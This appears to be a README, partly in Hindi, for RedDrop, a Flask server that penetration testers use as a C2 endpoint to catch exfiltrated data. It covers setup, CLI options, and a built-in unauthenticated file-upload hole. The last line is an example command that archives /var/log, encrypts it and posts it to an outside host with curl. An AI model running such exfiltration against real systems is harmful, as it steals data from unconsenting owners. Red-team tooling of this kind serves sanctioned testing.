
Python Flask वेब सर्वर जो एन्कोडेड/एन्क्रिप्टेड पेलोड और tar आर्काइव्स को कैप्चर, प्रोसेस और लॉग करने के लिए डिज़ाइन किया गया है, विशेष रूप से पेनिट्रेशन टेस्टर्स और रेड टीमर्स के लिए C2 एक्सफिल्ट्रेशन एंडपॉइंट के रूप में।

यहाँ साथ में MaverisLabs ब्लॉग पोस्ट देखें!
RedDrop एक्सफिल सर्वर पेनिट्रेशन टेस्टर्स, रेड टीमर्स और सुरक्षा पेशेवरों के लिए एक Python Flask वेब सर्वर है, जिसमें निम्नलिखित विशेषताएं हैं:
यह सॉफ्टवेयर विभिन्न परिदृश्यों में वेब अनुरोध डेटा कैप्चर करने के लिए एक प्रारंभिक C2 एंडपॉइंट के रूप में उपयोग करने के लिए अभिप्रेत है। कुछ उदाहरणों में शामिल हो सकते हैं:

यह प्रोजेक्ट अभी भी विकास में है और कुछ सुविधाओं में बग हो सकते हैं। यदि आपको समस्याएं आती हैं, तो कृपया एक Issue खोलें!
इस सॉफ्टवेयर को सामान्य रूप से व्यापक इंटरनेट पर सुलभ नहीं छोड़ा जाना चाहिए। इसे जानबूझकर एक Arbitrary File Upload भेद्यता के साथ बनाया गया है, और बिना प्रमाणीकरण के फ़ाइलों को स्थानीय डिस्क पर स्वीकार और सहेज लेगा। यह सुनिश्चित करने के लिए उचित परिश्रम किया जाना चाहिए कि जिस सिस्टम पर यह सॉफ्टवेयर तैनात किया गया है वह ठीक से सुरक्षित है। कुछ सिफारिशें:
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h
python reddrop-server.py -h
A Webserver for File and Data Exfiltration.
Author: @cyberbutler/@thecyberbutler
optional arguments:
-h, --help show this help message and exit
--host HOST, -H HOST The host IP Address to bind to (default:
0.0.0.0)
--port PORT, -P PORT The port to bind to (default: 80)
-c CONFIG, --config CONFIG
YAML config file path (default: None)
--dump-config Dump the configuration settings as YAML
(default: False)
--debug Enable Flask's Debug Mode (default: False)
-p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
Specify a processor to use. This flag can
be used more than once to define multiple
process_list functions. Use this flag in
the order in which you wish to process
received data (default: [])
-A, --auto-process, --no-auto-process
Automatically run processors based on
detected data. This option is enabled by
default, but should be disabled (--no-
auto-process) when you receive output you
don't expect. Such as in the case of
Base64 decoding being run on output that
is not Base64 encoded. Instead, force the
process with the `-p` flag. (default:
True)
--auto-extract-tar, -x
Auto extract TAR archives received by the
server. (default: False)
--encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
The password used to decrypt/encrypt.
(default: EncryptMe)
-r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
Specify an Authorization Rule to deny
requests which do not match the provided
Key and Regex value pair. Specified as
<Key>=<Regex>. (default: None)
-t TAGS, --tag TAGS Tag data received during this session in the logs as well as the directory files are uploaded to. Example:
-t log4j -t acme.org (default: None)
--tls-keyfile GUNICORN.KEYFILE
Enables TLS Support. (Production Only) The path to a TLS key file (default: None)
--tls-certfile GUNICORN.CERTFILE
Enables TLS Support. (Production Only) The path to a TLS cert file (default: None)
Far more configuration options exist which must be specified in Environment Variables, use `--dump-config` to see all of the options
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"
